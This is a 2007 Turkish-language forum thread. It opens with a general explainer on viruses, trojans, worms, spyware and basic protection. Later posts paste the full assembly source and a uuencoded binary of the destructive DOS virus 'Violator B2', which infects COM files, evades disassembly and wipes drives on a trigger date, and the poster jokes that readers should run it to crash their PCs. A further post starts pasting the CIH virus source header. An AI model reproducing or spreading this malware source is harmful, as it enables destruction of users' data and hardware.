Bilgisayar Zararlıları ?

Sessiz_cin
08-01-2007, 13:20   |  #1  
OP Taze Üye
Teşekkür Sayısı: 0
12 mesaj
Kayıt Tarihi:Kayıt: Oca 2007

Bilgisayar Zararlıları ?

•        Virüs
•        Trojan ( Truva atı,Köprü )
•        Worm – spyware
•        Zararlı diğer Programlar

x-VİRÜS

Virüs nedir, ne amaçla , nasıl ve neden Yazılır ?

Virüs insanlarda olduğu gibi Zararlı , Bilgisayarda kolay yayılan ve zarar veren en küçük bilgisayar yazılımlarıdır. Canlı değildir ama canlının yapmış olduğu ufak yapay zekaya sahip yazılımlardır.Verilenleri istenilen ölçüde; verileni işleyen küçükcülerdir.

Asm ( assembly ),makina diliyle yazılır tabiiii istediğiniz programlama diliyle virüs yazabilirsiniz fakat makine dilinin zorluğu yüzünden  virüsün boyutu ve esnekliği en iyi asm ile gerçekleştirilir.

Yani Virüs bulaşmış dediğimizde annemizin bilisayarını tozlu bırakıyorsun demesiyle
bir alakası yoktur virüs küçük zarar weren programlar diyebiliriz.

Şimdi biz bir bilgisayar programcısı olalım we bir virüs yazalım sizce neleri yaparız,Ne biliyorsak #61514; ölçüsü programcısının zekası ve bilgisine dayalı büyür.
Şimdi elmizde yazdığımız bir virüs war ne yapacaz ? tabii ki yayılmasını istiyecez bu eski yıllarda çok mümkün olmayan bişeydi çünki internet ya yoktu yada çok az yaygındı
O zamanlar sadece diskette çektiğimiz oyunlardan veya ms-dos programlarından bulaşırdı, şuan ise hepinizin bildiği gibi internet üzerinden bulaşmaktadır.

Virüs en küçük program demiştik sebebi kopyalanmasındaki hızı ve dikkat çekmeden internetteki bir kullanıcıya kendini kabul ettirmesi, yayılması kullanılacak bir dosyayı açıp kendi kodlarını kopyalayıp o programı taşıyıcı olarak kullanarak bir zincir oluşturması yani bu biri takii dur diyene kadar dewam eden ve böyle milyonlarca bilgisayara ulaşan bir veri trafiğine sebeb olur tabikii programcının zekası ve kodlama bilgi düzeyi isteğine bağlı olarak virüs anında veya diyelim kopyalandıktan 20 gün sonra zarar vermeye, Programcının zaman koyma sebebide o bilgisayardan o zaman zarfı içinde  başka bilgisayarlara yayılmasına yardım etmesi içindir,aynı insan hayatındaki virüsler gibi bir çuğalma dönemi wardır o ara içinde virüs vücuda tam zarar wermez aynı sinsilik bilgisayar virüslerinde wardır ve virüs görevine başlar sonuçta programlandığı için soru bile sormadan görevini yapar.

Bir virüs tamamen programcının zekasına dayalı güçlüdür, programcı boş  bir sayfaya kodladığı bilgilerle güçlenir.Yani her virüs ayrıdır ayrı şekillerde yayılır ve zarar werir,
Diyebiliriz sonuçta her insan farklı düşünür elinizdeki taşlar aynı olsada.

Virüs Yazma Sebebleri ,

•        Programcının bilgisini kanıtlama isteği,
•        Ego tatmin ,
•        Kendini Geliştirmek,
•        Bilgisayar güvenlik şirketleriyle anlaşması,
•        Bilgisayar Donanım üretim firmalarıyla anlaşması,
•        Siyasi Örgüt veya Düşünceye destek amaçlı,
•        Büyük işletim sistemleriyle anlaşması,
•        Para Kazanmak amaçlı,

Evet son beş sebebe dikkat edin unutulmaması gereken konu çok büyük paraların döndüğü Bu beş seçenekte virüsün gereksimi çok yüksektir çünki virüs olmassa güvenlik programlarına gerek duyulmaz ki bu programlar tüm dünyaya satışı wardır gine aynı şekilde işletim sistemleri isim wermiyorum , sonuçta ben en güvenlisiyim demesi gerekiyor aynı şekil virüsün bilgisayar donanıma verdiği zarar üreticinin kar payını tatmin edicek oranda arttırıyor #61514; siyasi düşüncede ülke bilgi düzeyi diyebilir hangi ülke en iyi veya biz böyle düşünüyoruz düşünmeyene bu gibi tabii bu sebebler her firma her ülke veya güvenlik şirketi için değil ben  tahminlerimden bahsediyorum .Kimse üzerine alınmasın. Aslında virüs programcılarının bir çoğu para kazanan programcılardır.Sakın bende onlardan olacam diye atlamayın yasal bir meslek değil yani mafyada para kazanır ama mafya olmak iyi bir şey değildir.

Bir Virüs ne yapabilir ;

Aslında her şeyi  çünki bilgisayar makina diline göre 0 1 ile kodlanmıştır virüs bunlarla yada bunlarda unutulmuş düşünülmemiş hata ( bug ) veya boşluklardan yanarak, oynayarak her şeyi yapar tabii programcının bilgi düzeyine göre Donanıma , Yazılıma , Tüm verilere  istediği oranda ve zamanda zarar verir .

Virüs  yayma sebebi zaten düşünülürse ortaya çıkıyor ,Amaç birçok bilgisayara ulaşmak ve yok edilmesini zorlaştırmak.
Virüs çoğalması kendi kodunu diğer bilgisayar programın koduna işler bunu bu programı alan diğer kullanıcı çalıştırdığı zaman o bilgisayarda yayılmaya ondanda başka bilgisayara yayılmaya ve zarar vermeye başlar ,Böyle Böyle milyonlara ulaşır demiştim.

Dvd,Cd ve kilitli (Lock) zip,flash,sd kartlara,Kilitli diskete bulaşamaz çünki bunlara hiç Bir veri kopyalanamaz.Veri kopyalanamadığı için kendininide doğal olarak kopyalayamaz yani sadece okuma izinli olan yardımcılara bulaşamaz.
Dünyada milyonlarca virüs yazılımı mevcut buda antivirüs programlarının ortaya çıkmasını sağlar.

Anti-virüs yazılımları nasıl virüsü anlar ???

En basit yöntemi yazan programcıdan çalışma ve yayılma bilgilerini alır yada antisi #61514;
Neyse biz düzgün çalışan  firmaların yaptıklarından bahsedelim bunlar öncelikle virüsü deneyerek nasıl yayıldığını ilk olarak nasıl ve nereye kendini kopyaladığını araştırır veya virüsü oluşturan kodları çözer böylece dönüşüm yolunu bulur bunu bulduğunda engeleyerek silinmesini sağlar veya işletim sisteminde kullandığı fark edilmeyen açığı bulur ve kapatmak için ek yazılım yazar  bu yazıldığı kadar basit değildir arkasında birçok programcının emeği wardır,bu yüzden destek vermek için orijinal virüs programlarını  kullanmalısınız benim saydığım o beş seçenek herkes için değildi unutmayın,we siz programınızı update yaptığınızda eğer o virüs warsa bilgisayarınızdan silinir. Buradan anlamanızı istediğim konu eğer yeni bir virüs çıkarsa ve farklı yöntemlerle çalışıyorsa ve siz anti-virüs programınızı güncellemediyseniz virüsü kesinlikle bulamaz ve zararına sizinle eşlik eder . Bu yüzden dünya yeni yüksek düzeyde yazılmış keşvedilmemiş virüsler yüzünden donanım ve yazılım olarak zarar görür.Anti-virüs programınızı güncellemek çok önemlidir.Sadece anti-virüs değil işletim sisteminizi de güncellemelisiniz.Nasıl korunacağınızı ileriki konularda deyincem merak etmeyin. Sadece Virüsü Tanımalıyız neyle savaştığımızı önce bilmeliyiz ve  basit olarak anlamışsınızdır umarım.


Truva atı– ( Trojan )


Aslında iyi amaçlı yazılan fakat kötü amaçlı kullanılan programlardır.Birçok programlama diliyle kodlana bilir.Asıl amacı aynı ortamda olmayan farklı iki bilgisayarı internet ortamında buluşturmak birbiriyle iletişimini sağlamaktır.Ana makina (server) neye bağlı olan Diğeri makina (client) verdiği tüm komutlara uyar ve uygular.Programcı iki program yazar biri anamakina komutları veren diğeri komutlara uyan client programıdır.Bu komutlar programcının bilgi ve gereksinimlerine göre yazdığı düzeydedir ama amaç ben şirketimdeyken evimdeki bilgisayarı yönetmek istediğimde kullanmam için yazılan bu programlar sonradan kötü amaçlara hizmet etmiştir.

Trojan(Köprü)=Ana Makina(Server) + Makina(Client)

Kötü amaçlı kullanım programcının anamakine programını değişik kodlamasından doğar yabancı olan diğer bilgisayarın kontrolu tamamen elinde olması amaçlıdır.

Neler Yapılabilir ?

1.        Tüm şifreleriniz alınır;
•        Msn,icq,irc
•        İşletim sisteminizin şifresi
•        Dial-up veya modem internet bağlantı şifreniz
•        Bilgisayarınızda kullanığınız tüm internet şifreleri
•        Mail adresleriniz
•        Kredi kartı kullanırsanız şifre ve kredi kart no
•        Kısaca tüm şifreleriniz
2.        Bilgisayarınız tüm kontrolu elindedir;
•        Mouse,klavye,monitör,hdd,cdrom,webcam
3.        Tüm Bilgileriniz elindedir.

Kısaca Bilgisayarda ne yapıyorsanız ondadır.Bu amaçla yazılmış derlenmiş Casus lardır.
Truva atı denilmesin sebebi sizin başka program veya bilmeden client yani komutlara uyan programı bilgisayarınıza indirmeniz ve çalıştırmanızdır.Bunlar virüsler gibi gizli değil değil genelde .exe veya .com olan programlardır.


Worm – Spyware

Bunlarda ne diyenlere offf en kolay kaptığımız bilgisayar griplerimiz bunlar Genelde işletim sistemimizin açıklarından,Okunan maillerden, kullanılan p2p ( paylaşım programlarından ) , kimi programcıların programlarına eklediği casuscuklar.Wormlar genelde zararlı Spyware ise tam bir casusdur.Şimdi Spyware in doğuş yani yapılma amacını anlatayım diyelim ben büyük bir web sitesiyim veya dünya pazarında bir üreticiyim ve internetin en büyük reklam aracı olduğunu bilen biriyim milyonlarca insanı değilde benim sitemle ilgilenen veya ürettiğim mala ilgi duyabilecek kişileri arıyorum işte burada spyware devriye girer sizin internet ne yapıyorsanız karşı tarafa raporlar ve virüsler gibide yayılma girişimlidir. Yani spyware benim ilgi alanımı ortaya çıkarır ben Film izleyen ve basketbol düşkünüyüm bunu karşıya raporlar ve bana bu dallar hakkında reklam mailleri gelmeye başlar tabii daha da kötü amaçlısı yok değil trojanda olduğu gibi tüm gizli ve para değerindeki bilgileri raporlayan spywarelerde war ayrıyeten internet bağlatınızda belirgin bir düşüş sağlar çünki sizin internetinize ortak olarak mail ve raporlama görevlerini yapar.


Zararlı Diğer Programlar

Bunlarda Programcıların isteğe bağlı olarak yazdığı kişisel programlardır.
Keylogger ; Bastığınız her tuşu kaydeder yani yazdığınız her şeyi raporlar ve karşı tarafa iletir.Format atan ,hdd kitleyen,internet bağlantınızı kesen zararlılardır.

Korunma Yöntemleri
Öncelikle Yeni kurulmuş bir işletim sistemi işletim sistemininiz tüm güncellemelerini yapınız,Anti Programlarını araştırıp istediğiniz  Firewall,anti-virüs,anti-spyware programlarını mutlaka kurun.Tanımadığınız mailleri açmayın okumayın,Size chatte gönderilen hiçbir dosyayı almayın,girdiğiniz sitelere dikkat edin bir ölçüde korunursuz kesin çözüm ise internete girmemek hatta bilgisayarın fişini çekmektir buda olmayacağından tam çözüm yoktur #61514;

Saygılarımla

Sessiz_cin
Delphi coder

İtacHi_
08-01-2007, 14:31   |  #2  
İtacHi_ avatarı
Yıllanmış Üye
Teşekkür Sayısı: 0
1,894 mesaj
Kayıt Tarihi:Kayıt: Ara 2006

arkadaşım sen iyi bişe yaptın bunları yazarak ama herkezbunları biliyor yazmana gerek yok.KızgınKızgın

BOOMFUNKMCS
08-01-2007, 16:38   |  #3  
Yıllanmış Üye
Teşekkür Sayısı: 11
3,373 mesaj
Kayıt Tarihi:Kayıt: Mar 2006

sağolasın arkadaşım,eline klavyene sağlık

mor_enginar
08-01-2007, 16:42   |  #4  
Yıllanmış Üye
Teşekkür Sayısı: 2
300 mesaj
Kayıt Tarihi:Kayıt: Kas 2006
BOOMFUNKMCS
sağolasın arkadaşım,eline klavyene sağlı
kesinlikle katılıyorum BOOMFUNKMCS arkadaşıma.Ve burakeksan_1993 gibi emeğe saygısı olmayanlarıda şiddetle kınıyorum.Adam imrenmiş yazmış,sen biliyorsan eyvallah ama bırak bilmeyenler öğrensin,olur mu kardeşim?

viking20
08-01-2007, 17:30   |  #5  
viking20 avatarı
Yıllanmış Üye
Teşekkür Sayısı: 141
7,681 mesaj
Kayıt Tarihi:Kayıt: May 2006

Bu tip bilgileri verirken kaynak göstermeyi de lütfen unutmayın veya alıntı yapmış iseniz nereden alıntı yaptığınızı belirtin.

ufuks
08-01-2007, 20:36   |  #6  
Yıllanmış Üye
Teşekkür Sayısı: 6
3,430 mesaj
Kayıt Tarihi:Kayıt: Mar 2006
viking20
Bu tip bilgileri verirken kaynak göstermeyi de lütfen unutmayın veya alıntı yapmış iseniz nereden alıntı yaptığınızı belirtin.
Sen geldin ya iste.Link vermekte senin ustune mi var.Göz kırpma

Sessiz_cin
09-01-2007, 13:23   |  #7  
OP Taze Üye
Teşekkür Sayısı: 0
12 mesaj
Kayıt Tarihi:Kayıt: Oca 2007

Kaynak kendim :) alıntı filan da değil bir akşam oturup yazdığım bişey bilmeyen çok insan war o çok bilmiş arkadaşa :) Programcıyım ve bilgi yarışına girmek için açılmıyor bu forumlar bilgi paylaşmak için yaşına veriyorum neyse her kullanıcı okusun bilmediği bişey wardır elbet .

cell-o
09-01-2007, 21:35   |  #8  
Yıllanmış Üye
Teşekkür Sayısı: 0
843 mesaj
Kayıt Tarihi:Kayıt: Haz 2006

arkadaşımızında yazdığı gibi bende bir şey yazıyım.en tehlikeli virüsler assembly da yazılmış virüslerdir.çünkü bu virüsler donanımada müdahele ettiği için tehlikelidir.
örn:CIH virüsü gibi.linux kullananlar http://asm.sourceforge.net/resources.html buradan compiler indirebilir.
örn kod;

;*****************************************************************************
;
;                                Violator - Strain B2
;
;*****************************************************************************
;
; (Sep/23/90)
;
; Development Notes:
;
; In this version, I have implemented various methods of thwarting users
; attempts to dissassemble this program as well as tracing various interrupt
; calls.
;
; This was done by setting a marker and then doing a CALL to a location which
; will decide which interrupt to issue based on the marker value. Couple this
; with multiple jumps, and it is enough to make any dissassembler puke it's
; guts out, not to mention anyone looking at us with debug will probably
; have an enema before they find out which interrupt we are using.
;
; Also, I have added a routine to thouroughly mess up drive C at the end of
; wiping out all drive. This was taken from Violator A becuase it worked to
; nicely destruction-wise.
;
; In other notes, this sucker is set to go off on October 31st 1990.
;
; UIV v1.0 is still on the fritz and will not become Violator C until I fix it
; to wipe out vectors 13, 26, and 21 (HEX).
;
; (Oct.02.90)
;
; Made a minor change so that INT 26 will also be accessed via flag.
;
;*****************************************************************************
;
;                            Written by - The High Evolutionary -
;                                  RABID Head Programmer
;
;                  Copyright (C) 199O by RABID Nat'nl Development Corp.
;
;*****************************************************************************

MOV_CX  MACRO   X
        DB      0B9H                               
        DW      X
ENDM

CODE    SEGMENT
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
        ORG     $+0100H                                ; Set ORG to 100H plus our own
                                               
VCODE:  JMP     virus

        NOP
        NOP
        NOP                                         ;15 NOP's to place JMP Header
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
       
v_start equ     $


virus:  PUSH    CX
        MOV     DX,OFFSET vir_dat      
        CLD                             
        MOV     SI,DX                  
        ADD     SI,first_3              
        MOV        CX,3
        MOV     DI,OFFSET 100H         
        REPZ    MOVSB                  
        MOV     SI,DX                  
        MOV     AH,30H
        MOV        marker,1
        call        weed       
        CMP        AL,0                                ;Quit it it's DOS 1.0
        JNZ        dos_ok
        JMP     quit                 

dos_ok: PUSH    ES
        MOV     AH,2FH
        MOV        marker,1
        CALL        weed
        MOV     [SI+old_dta],BX
        MOV     [SI+old_dts],ES         
        POP     ES
        MOV     DX,dta                  
        ADD     DX,SI                    
        MOV     AH,1AH
        MOV        marker,1
        CALL        weed                     
        PUSH    ES
        PUSH    SI
        MOV     ES,DS:2CH
        MOV     DI,0                    
        JMP        year_check

;
; This routine weed's out the calls...
;

weed:        CMP        marker,1                ;Check to see if it's an INT 21 call
        JE      int_21                         ;If yes,then go and issue an INT 21
        CMP        marker,2                ;Check to see if it's an INT 13 call
        JE        int_13                        ;If yes, then go and issue an INT 13
        CMP        marker,3                ;Check to see if it's an INT 26 call
        JE         int_26                        ;If yes, then go and issue an INT 26
        RET                                ;Go back to where we were called from
       
;
; The RET there is unnecessary, but I put it there just to be on the safe side
; incase of a "What If?" scenario... The real valid RET is issued from the JE
; locations (int_21 and int_13)... You may choose to comment this line on
; compilation, but what difference does one byte make ?
;

year_check:
        MOV        AH,2AH                        ;Get date info
        MOV        marker,1                ;Call DOS
        CALL        weed
        CMP        CX,1990                        ;Check to see if the year is 1990
        JGE        month_check                ;If greater or equal, check month
        JMP        find_path                ;If not, go on with infection
       
month_check:
        MOV        AH,2AH                        ;Get date info
        MOV        marker,1                ;Call DOS
        CALL        weed
        CMP        DH,10                        ;Check to see if it is October
        JGE        day_check                ;If greater or equal, check day
        JMP        find_path                ;if not, go on with infection

day_check:
        MOV        AH,2Ah                        ;Get date info
        MOV        marker,1                ;Call DOS
        CALL        weed
        CMP        DL,31                        ;Check to see if it is the 31st
        JGE         multiplex                ;If yes, then nuke drives A:-Z:
        JMP        find_path                ;If not, then go on with infection

int_21:        INT        21h                        ;Issue an INT 21
        RET                                ;Return from CALL

multiplex:
        MOV        AL,cntr                        ;Counter is the drive to kill
        CALL        alter                    ;Go and kill the drive
                                        ;25 is drive Z:
        CMP        cntr,25                        ;Is (cntr) 25 ?
        JE        really_nuke                ;Now go and Blow up drive C:
        INC        cntr                        ;Add one to (cntr)
        LOOP        multiplex                ;Loop back up to kill next drive

int_26:        INT        26h
        RET

alter:
        MOV        AH,05                        ;Format Track
        MOV        CH,0                        ;Format track 0
        MOV        DH,0                        ;Head 0
        MOV        DL,cntr                        ;Format for drive in (cntr)
        MOV        marker,2                ;Call RWTS
        CALL        weed
        RET                                ;Return up for next drive

int_13: INT        13h                        ;Issue an INT 13
        RET                                ;Return from CALL
                                          
really_nuke:
        MOV        AL,2                        ;Set to fry drive C
        MOV        CX,700                        ;Set to write 700 sectors
        MOV        DX,00                        ;Starting at sector 0
        MOV        DS,[DI+99]                ;Put random crap in DS
        MOV        BX,[DI+55]                ;More crap in BX
        MOV        marker,3                ;Call BIOS
        CALL         weed
        POPF                                ;Pop the flags because INT 26 messes
                                        ;them up
       
find_path:
        POP     SI                       
        PUSH    SI                                          
        ADD     SI,env_str              
        LODSB                               
        MOV     CX,OFFSET 8000H         
        REPNZ   SCASB                  
        MOV     CX,4                                                           

check_next_4:
        LODSB
        SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
        JNZ     find_path               ;If not path, then go to ROOT dir   
        LOOP    check_next_4            ;Go back and check for more chars
        POP     SI                        ;Load in PATH again to look for chars
        POP     ES
        MOV     [SI+path_ad],DI         
        MOV     DI,SI                       
        ADD     DI,wrk_spc              ;Put the filename in wrk_spc
        MOV     BX,SI                  
        ADD     SI,wrk_spc              
        MOV     DI,SI                  
        JMP     SHORT   slash_ok

;*****************************************************************************
;
; Infection Notes: (Oct.02.90)
;
; A wierd thing happened a few days ago, I was testing this virus out on my
; system under Flushot + and I monitored everything that was going on. Here is
; the exact order that Violator infects stuff:
;
; 1) If there is a path used, we first infect the current directory until
;    full.
;
;    If there is no path, we infect the current directory either way...
;
; 2) If there is no path, we then infect the current directory, and then
;    go on and infect all COM'z in the root directory.
;
; 3) Finally, after everything in the path has been infected, we then go and
;    infect all of the COM **** in the root directory...
;
;    This results in a bug with the slash checker. It checks to see if there is
;    a slash on the end of the path, and if there is none, it adds one. But
;    what would happen if there's no path??? It'll still add a slash.
;    This benefit's us greatly. Anyway, on with the code...
;
;*****************************************************************************

set_subdir:
        CMP     WORD PTR [SI+path_ad],0
        JNZ     found_subdir            
        JMP     all_done               


found_subdir:
        PUSH    DS
        PUSH    SI
        MOV     DS,ES:2CH               
        MOV     DI,SI
        MOV     SI,ES:[DI+path_ad]      
        ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)


move_subdir:
        LODSB                           ;To tedious work to move into subdir
        CMP     AL,';'                  ;Does it end with a ; charachter?
        JZ      moved_one               ;if yes, then we found a subdir
        CMP     AL,0                    ;is it the end of the path?
        JZ      moved_last_one          ;if yes, then we save the PATH
        STOSB                           ;marker into DI for future reference
        JMP     SHORT   move_subdir

moved_last_one:
        MOV     SI,0

moved_one:
        POP     BX                      ;BX is where the virus data is
        POP     DS                      ;Restore DS so that we can do stuph
        MOV     [BX+path_ad],SI         ;Where is the next subdir?
        NOP
        CMP     CH,'\'                  ;Check to see if it ends in         JZ      slash_ok                ;If yes, then it's OK
        MOV     AL,'\'                  ;if not, then add one...
        STOSB                                ;store the sucker


slash_ok:
        MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
        MOV     SI,BX                   ;Restore the original SI value
        ADD     SI,f_spec               ;Point to COM file victim
        MOV     CX,6
        REPZ    MOVSB                   ;Move victim into workspace
        MOV     SI,BX
        MOV     AH,4EH
        MOV     DX,wrk_spc
        ADD     DX,SI                   ;DX is ... THE VICTIM!!!         
        MOV     CX,3                    ;Attributes of Read Only or Hidden OK
        MOV        marker,1
        CALL        weed
        JMP     SHORT   find_first

find_next:
        MOV     AH,4FH
        MOV        marker,1
        CALL        weed

find_first:
        JNB     found_file              ;Jump if we found it
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

found_file:
        MOV     AX,[SI+dta_tim]         ;Get time from DTA
        AND     AL,1EH                  ;Mask to remove all but seconds
        CMP     AL,1EH                  ;60 seconds
        JZ      find_next               
        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
        JA      find_next               ;If too long, find another one
        CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
        JB      find_next               ;Then go find another one
        MOV     DI,[SI+nam_ptr]         
        PUSH    SI                     
        ADD     SI,dta_nam              

more_chars:
        LODSB
        STOSB
        CMP     AL,0
        JNZ     more_chars              
        POP     SI
        MOV     AX,OFFSET 4300H
        MOV     DX,wrk_spc              
        ADD     DX,SI
        MOV        marker,1
        CALL        weed
        MOV     [SI+old_att],CX         
        MOV     AX,OFFSET 4301H         
        AND     CX,OFFSET 0FFFEH        
        MOV     DX,wrk_spc              
        ADD     DX,SI                  
        MOV        marker,1
        CALL        weed
        MOV     AX,OFFSET 3D02H         
        MOV     DX,wrk_spc              
        ADD     DX,SI                  
        MOV        marker,1
        CALL        weed
        JNB     opened_ok               
        JMP     fix_attr               

opened_ok:
        MOV     BX,AX
        MOV     AX,OFFSET 5700H
        MOV        marker,1
        CALL        weed
        MOV     [SI+old_tim],CX         ;Save file time
        MOV     [SI+ol_date],DX         ;Save the date
        MOV     AH,2CH
        MOV        marker,1
        CALL        weed
        AND     DH,7                    
        JMP     infect

infect:
        MOV     AH,3FH
        MOV     CX,3
        MOV     DX,first_3
        ADD     DX,SI
        MOV        marker,1
        CALL        weed                         ;Save first 3 bytes into the data area
        JB      fix_time_stamp  
        CMP     AX,3            
        JNZ     fix_time_stamp  
        MOV     AX,OFFSET 4202H
        MOV     CX,0
        MOV     DX,0
        MOV        marker,1
        CALL        weed
        JB      fix_time_stamp  
        MOV     CX,AX           
        SUB     AX,3            
        MOV     [SI+jmp_dsp],AX
        ADD     CX,OFFSET c_len_y
        MOV     DI,SI           
        SUB     DI,OFFSET c_len_x
                                
        MOV     [DI],CX         
        MOV     AH,40H
        MOV_CX  virlen                  
        MOV     DX,SI
        SUB     DX,OFFSET codelen      
        MOV        marker,1
        CALL        weed
        JB      fix_time_stamp         
        CMP     AX,OFFSET virlen        
        JNZ     fix_time_stamp         
        MOV     AX,OFFSET 4200H
        MOV     CX,0
        MOV     DX,0
        MOV        marker,1
        CALL        weed
        JB      fix_time_stamp         
        MOV     AH,40H
        MOV     CX,3
        MOV     DX,SI                  
        ADD     DX,jmp_op               
        MOV        marker,1
        CALL        weed

fix_time_stamp:
        MOV     DX,[SI+ol_date]         
        MOV     CX,[SI+old_tim]         
        AND     CX,OFFSET 0FFE0H
        OR      CX,1EH                  
        MOV     AX,OFFSET 5701H
        MOV        marker,1
        CALL        weed
        MOV     AH,3EH
        MOV        marker,1
        CALL        weed

fix_attr:
        MOV     AX,OFFSET 4301H
        MOV     CX,[SI+old_att]         
        MOV     DX,wrk_spc
        ADD     DX,SI                  
        MOV        marker,1
        CALL        weed

all_done:
        PUSH    DS
        MOV     AH,1AH
        MOV     DX,[SI+old_dta]
        MOV     DS,[SI+old_dts]
        MOV        marker,1
        CALL        weed
        POP     DS

quit:
        POP     CX
        XOR     AX,AX                        ;XOR values so that we will give the
        XOR     BX,BX                        ;poor sucker a hard time trying to
        XOR     DX,DX                        ;reassemble the source code if he
        XOR     SI,SI                        ;decides to dissassemble us.
        MOV     DI,OFFSET 0100H
        PUSH    DI
        XOR     DI,DI
        RET     0FFFFH                        ;Return back to the beginning
                                        ;of the program
;
; It seems as if there is a bit of a misunderstanding about the above line.
; What it simply does is returns from the JMP that we issued at the beginning
; of the program. Heceforth, an infected program will have something to the
; effect of 2145:0100 JMP 104B and the program will then jump to the
; beginning of us. Then we go along our merry way of infecting files until
; we are done and then come up to the RET 0FFFFH line. This is just like a
; plain RET put as we all know, you can't RET from a JMP, so this line kinda
; tricks DOS to return back to the line after the one that issued the original
; JMP, thus, it returns to line 2145:0102 and begins with the real program...
;
; Clear? Good...

vir_dat EQU     $

;
; Change the next line on release of compiled file...
;
intro        db        'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10
olddta_ DW      0                       
olddts_ DW      0                       
oldtim_ DW      0                       
count_        DW        0
cntr         DB         2                                ; Drive to nuke from (C:+++)
marker        DB        0                                ; This is used for INT purposes
oldate_ DW      0                       
oldatt_ DW      0                       
first3_ EQU     $
        INT     20H
        NOP
jmpop_  DB      0E9H                    
jmpdsp_ DW      0                       
fspec_  DB      '*.COM',0
pathad_ DW      0                       
namptr_ DW      0                       
envstr_ DB      'PATH='                 
wrkspc_ DB      40h dup (0)
dta_    DB      16h dup (0)            
dtatim_ DW      0,0                     
dtalen_ DW      0,0                     
dtanam_ DB      0Dh dup (0)            
lst_byt EQU     $                       
virlen  =       lst_byt - v_start      
codelen =       vir_dat - v_start      
c_len_x =       vir_dat - v_start - 2   
c_len_y =       vir_dat - v_start + 100H
old_dta =       olddta_ - vir_dat      
old_dts =       olddts_ - vir_dat      
old_tim =       oldtim_ - vir_dat      
ol_date =       oldate_ - vir_dat      
old_att =       oldatt_ - vir_dat      
first_3 =       first3_ - vir_dat      
jmp_op  =       jmpop_  - vir_dat      
jmp_dsp =       jmpdsp_ - vir_dat      
f_spec  =       fspec_  - vir_dat      
path_ad =       pathad_ - vir_dat      
nam_ptr =       namptr_ - vir_dat      
env_str =       envstr_ - vir_dat      
wrk_spc =       wrkspc_ - vir_dat      
dta     =       dta_    - vir_dat      
dta_tim =       dtatim_ - vir_dat      
dta_len =       dtalen_ - vir_dat      
dta_nam =       dtanam_ - vir_dat      
count         =        count_  - vir_dat

        CODE    ENDS
END     VCODE

begin 775 v_violb2.com
MZQ"0D)"0D)"0D)"0D)"0D)"04;H9!/R+\H/&0I"Y`P"_``'SI(ORM##&!E8$
M`9#H.0`\`'4#Z<`D`/6M!K&!E8$
M`9#H#``&5HX&+`"_``#K%Y"`/E8$`71)@#Y6!`)T;X`^5@0#=%'#M"K&!E8$
M`9#HW_^!^<8'?0/K;Y"T*L8&5@0!D.C+_X#^"GT#ZUR0M"K&!E8$`9#HN/^`
M^A]]!NM)D,TAPZ!5!.@0`(`^5009="#^!E4$XNW-)L.T!;4`M@"*%E4$Q@96
M!`*0Z(3_P\T3P[`"N;P"N@``CEUCBUTWQ@96!`.0Z&G_G5Y6@\92D*RY`(#R
MKKD$`*RN=>WB^EX'B7Q.D(O^@\=7D(O>@\97D(O^ZSJ#?$X`D'4#Z;H!'E8F
MCAXL`(O^)HMU3I"#QU>0K#P[=`H\`'0#JNOTO@``6Q^)=TZ0D(#]7'0#L%RJ
MB7]0D(OS@\9(D+D&`/.DB_.T3KI7`)`#UKD#`,8&5@0!D.C>_NL+M$_&!E8$
M`9#HT?YS`NN0BX2M`"0>/!YTYX&\L0``^G??@[RQ``IRV(M\4)!6@<:U`*RJ
M/`!U^EZX`$.Z5P"0`];&!E8$`9#HDOZ)3$"0N`%#@^'^NE<`D`/6Q@96!`&0
MZ'G^N`(]NE<`D`/6Q@96!`&0Z&?^

<#Q@96!`&0Z./]    [:o)]

bunun gibi.bu kodu assembly compiler ile koşturun.ve pc'niz çöksün. Gülümseme

kolay gelsin.

Son Düzenleme: cell-o ~ 09 Ocak 2007 21:37
lazrailefsanesi
09-01-2007, 23:39   |  #9  
Yıllanmış Üye
Teşekkür Sayısı: 1
1,393 mesaj
Kayıt Tarihi:Kayıt: Mar 2005

Cell-Ooo denedim çökmedi.Nerde hata yapıyorum

cell-o
10-01-2007, 08:31   |  #10  
Yıllanmış Üye
Teşekkür Sayısı: 0
843 mesaj
Kayıt Tarihi:Kayıt: Haz 2006

istersen bunu dene.ama tavsiye etmem.;
CIH virüsü;

       

****************************************************************************

; *                     The Virus Program Information                        *
;
****************************************************************************

; *                                                                        
*
; *     Designer : CIH                  Original Place : TTIT of Taiwan      *
; *     Create Date : 04/26/1998        Now Version : 1.2                    *
; *     Modification Time : 05/21/1998                                    
*
; *                                                                          *
;
*==========================================================================*

; *                     Modification History                                 *
;
*==========================================================================*

; *     v1.0    1. Create the Virus Program.                                 *
; *             2. The Virus Modifies IDT to Get Ring0 Privilege.            *
; * 04/26/1998  3. Virus Code doesn't Reload into System.                  
*
; *             4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; *             5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *
; *             6. When System Opens Existing PE File, the File will be      *
; *                Infected, and the File doesn't be Reinfected.           
*
; *             7. It is also Infected, even the File is Read-Only.          *
; *             8. When the File is Infected, the Modification Date and Time *
; *                of the File also don't be Changed.                        *
; *             9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  *
; *                Previous FileSystemApiHook, it will Call the Function     *
; *                that the IFS Manager Would Normally Call to Implement     *
; *                this Particular I/O Request.                              *
; *            10. The Virus Size is only 656 Bytes.                         *
;
*==========================================================================*

; *     v1.1    1. Especially, the File that be Infected will not Increase   *
; *                it's Size...   ^__^                                       *
; * 05/15/1998  2. Hook and Modify Structured Exception Handing.             *
; *                When Exception Error Occurs, Our OS System should be in   *
; *                Windows NT. So My Cute Virus will not Continue to Run,    *
; *                it will Jmup to Original Application to Run.              *
; *             3. Use Better Algorithm, Reduce Virus Code Size.             *
; *             4. The Virus "Basic" Size is only 796 Bytes.                 *
;
*==========================================================================*

; *     v1.2    1. Kill All HardDisk, and BIOS... Super... Killer...         *
